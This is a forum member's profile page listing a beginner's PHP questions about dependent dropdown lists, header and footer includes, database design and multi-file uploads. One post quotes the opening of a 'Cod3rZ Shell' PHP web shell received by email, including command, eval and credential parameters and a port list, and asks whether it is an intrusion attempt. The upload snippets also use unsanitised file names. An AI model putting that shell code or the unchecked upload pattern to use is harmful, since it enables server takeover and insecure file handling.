Jump to content

Derby Artists

Members
  • Posts

    30
  • Joined

  • Last visited

    Never

Profile Information

  • Gender
    Not Telling

Derby Artists's Achievements

Newbie

Newbie (1/5)

0

Reputation

  1. Cheers thanks for that. Will give it a bash, I am sure I will be back in a couple of days with post/query issues. but thanks again
  2. Thanks gizmola, yes that script is in the java but just didnt copy and paste this, could I also ask would you go down the java route or would you populate the lists through php mysql I always worry about the java being turned off in the users browser. Thanks
  3. Hi I have spent half the day searching for some script that creates dynamic lsit/dropdown boxes. Basically depending on the selection from dropdown/list 1 will populate the list of dropdownlist 2. Looking at the code I believe I am going to struggle updating the database, but just need confirmation on this. Here is the html code <body bgcolor="#ffffff" text="#000000" link="#0000ff" vlink="#800080" alink="#ff0000" onload="fillCategory();"> <FORM name="drop_list" action="yourpage.php" method="POST" > <SELECT NAME="Category" class="qsdropdowns" onChange="SelectSubCat();" > <Option value="">Category</option> </SELECT> <SELECT NAME="SubCat" class="qsdropdowns" id="SubCat"> <Option value="">SubCat</option> </SELECT> </form> </body> And here is the java code function fillCategory(){ // this function is used to fill the category list on load addOption(document.drop_list.Category, "Fruits", "Fruits", ""); addOption(document.drop_list.Category, "Games", "Games", ""); addOption(document.drop_list.Category, "Scripts", "Scripts", ""); } function SelectSubCat(){ // ON selection of category this function will work removeAllOptions(document.drop_list.SubCat); addOption(document.drop_list.SubCat, "", "SubCat", ""); if(document.drop_list.Category.value == 'Fruits'){ addOption(document.drop_list.SubCat,"Mango", "Mango"); addOption(document.drop_list.SubCat,"Banana", "Banana"); addOption(document.drop_list.SubCat,"Orange", "Orange"); } if(document.drop_list.Category.value == 'Games'){ addOption(document.drop_list.SubCat,"Cricket", "Cricket"); addOption(document.drop_list.SubCat,"Football", "Football"); addOption(document.drop_list.SubCat,"Polo", "Polo", ""); } if(document.drop_list.Category.value == 'Scripts'){ addOption(document.drop_list.SubCat,"PHP", "PHP"); addOption(document.drop_list.SubCat,"ASP", "ASP"); addOption(document.drop_list.SubCat,"Perl", "Perl"); } } ////////////////// function removeAllOptions(selectbox) { var i; for(i=selectbox.options.length-1;i>=0;i--) { //selectbox.options.remove(i); selectbox.remove(i); } } So if I choose "Fruits" then "mangos" will the php send the values of "Fruits" and "Mangos" or would it send "Catergory" and "Sub Catergory" to the database. If I am right what other options have I got to populate dropdowns from previous selections Thanks in advance
  4. Cheers for that...see piece of cake when you know. If I get stuck I will give you a shout. Thanks again massive help.
  5. I have been trying to get my head round database tables and how best to do this......... I am building a dynamic site, and I want part of the site to have a "quicksearch" which consists of 2 dropdown lists. List 1 is all the different counties List 2 is a list of all the different specialities within that area, so for example the user selects Derbyshire from the first drop down box and then chooses, lets for arguments sake say auto repair from the second drop down box, then press the search button. I want the query to obviously only show auto repair in derbyshire and display these to the user. The trouble I am having is getting my head around the databases and how many different tables to run with this. I believe I am thinking to hard and missing an easier way of doing this. If you want an idea of what I am looking for goto http://www.photographers.co.uk/ and then just under the images there is the same sort of thing of what I want in "find a photographer" Like I say I dont need any help with coding, selecting databases etc just stuck in how the databases should be set up because at the minute I keep going down the same road of "oh I will need 00's of tables for this", but surely this is not the case. With thanks folkes
  6. Cheers, could I ask, in the header and footer php pages do you strip out this:- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Untitled Document</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> </head> Is there any problems with leaving this in or taking it out
  7. Hi Just wanted an idea of what other people do..... I am building a dynamic site and going down the template route where you call the header and footer etc from index.php ie <?php include("header.php"); <?php include("footer.php"); The question is how much do you people break this down. The site I am building has the top navigation, which is a horizontal drop down, with a hell of a lot of links on. Below this is a flash video, and below this is a quick search with two dropdown lists, one for all the counties in the uk the other for the speciality in that given area. So would you keep the top nav, flash video and quick search all in the header or would you break it down a little and have top nav in one php file and quicksearch in another and so on and so on. And call them all together in the header page. Thanks for your help
  8. thanks will bear that in mind when i return with errors
  9. Last thing cags, I have just recieved an email because I m still using form to mail and testing the database on a different server, 3 emails in total the first read something like this, not going to put all the code up just the start <?php # Cod3rZ Shell 5.2 # c0ded by Cod3rZ # http://cod3rz.helloweb.eu # http://devilsnight.altervista.org # 07/08/08 # Cuz We Back Rude This Time # Thanks to nexen error_reporting(0); $version = '5.2'; $info = $_SERVER['SERVER_SOFTWARE']; $page = $_SERVER['SCRIPT_NAME']; $site = getenv("HTTP_HOST"); $uname = php_uname(); $smod = ini_get('safe_mode'); $uid = getmyuid(); $gid = getmygid(); $dir = realpath($_POST['dir']); $mkdir = $_POST['makedir']; $mydir = $_POST['deletedir']; $cmd = $_GET['cmd']; $host = $_POST['host']; $proto = $_POST['protocol']; $delete = $_POST['delete']; $phpeval = $_POST['php_eval']; $db = $_POST['db']; $query = $_POST['query']; $user = $_POST['user']; $pass = $_POST['passd']; $myports = array("21","22","23","25","59","80","113","135","445","1025","5000","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018"); $quotes = get_magic_quotes_gpc(); if ($quotes == "1" or $quotes == "on") { Is someone trying to get in
  10. Cags what software do you use if any or which do you recommend to a noob yo php
  11. Well I see where you are coming from now people, I think with this I am going to go back to the drawing board and start again....I fully understand why they call php the voodoo language. I have managed to get so far and then the more tutorials I look at the more complex it becomes. Yeah Ok I have managed to get two files to upload to my server "which personally I am happy with" but a message of advice from a noob, to a noob, if you are trying to upload multiple files. Take on board you need to include script to help:- 1-To stop two file names the same being uploaded 2-Security for the databse and your server 3-The user may only want to upload 1 image, so you have to tell the php file and sql about the fact. 4-Take into consideration symbols in the users file names. There maybe many more considerations but these are the main ones I have picked up on. I now hang my head in shame, as you have all beat me with a stick, here is me thinking it be simple as I cracked two file uploads to mail, so how hard can be getting them to an sql and send the user an email repsonse...Basic........VERY WRONG. Like Cags and Tim etc have said, go back to the very basics starting with <?php
  12. Forgive me if Im totally wrong, but I am assuming that this statement you put up if(isset($_FILES['upload1'])) { if(move_uploaded_file($_FILES['upload']['tmp_name'], $target) && move_uploaded_file($_FILES['upload1']['tmp_name'], $target2)) { } } is asking for both files to be put into the folder on the server, so I am guessing it is looking for 2 files to put on the server, what I am trying to get at is the && am i right in that this means both are true (meaning the user has attached the two files)if not throw an error By the way if I use this code I am getting an error at line 43 Parse error: syntax error, unexpected T_ELSE in /customers/derbyartists.co.uk/derbyartists.co.uk/httpd.www/php/signup1.php on line 43 line 43:- else { echo "Sorry, there was a problem uploading your file."; } ?>
  13. Just to make sure, When I am placing this in with the variable I take it I use the {} ie if(isset($_FILES['upload1'])) { $target2 = "image/"; $target2= $target2 . basename( $_FILES['upload1']['name']); } if(isset($_FILES['upload1'])) { $upload1=($_FILES['upload1']['name']); } Is this the way if the line already begins with "if" ie if(isset($_FILES['upload1'])) if(move_uploaded_file($_FILES['upload']['tmp_name'], $target) && move_uploaded_file($_FILES['upload1']['tmp_name'], $target2)) its this line that is confussing me the most. When I play around with it it starts throwing up errors Oh I take it I leave this one alone and DO NOT insert the if(isset($_FILES['upload1'])) into this line mysql_real_escape_string($upload1), thanks again
  14. Sorry Cags was under the impression I only needed to put it in one place. Cool will have a bash now mate
  15. Hi I have tried the code in a few places, but as a noob guesstimate I thought these looked the most likely <?php $target = "image/"; $target = $target . basename( $_FILES['upload']['name']); if(isset($_FILES['upload1'])) { $target2 = "image/"; $target2= $target2 . basename( $_FILES['upload1']['name']); } $name=$_POST['name']; $address=$_POST['address']; $address1=$_POST['address1']; I also tried it here $mobile=$_POST['mobile']; $email=$_POST['email']; $upload=($_FILES['upload']['name']); if(isset($_FILES['upload1'])) { $upload1=($_FILES['upload1']['name']); } $bio=$_POST['bio'];
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.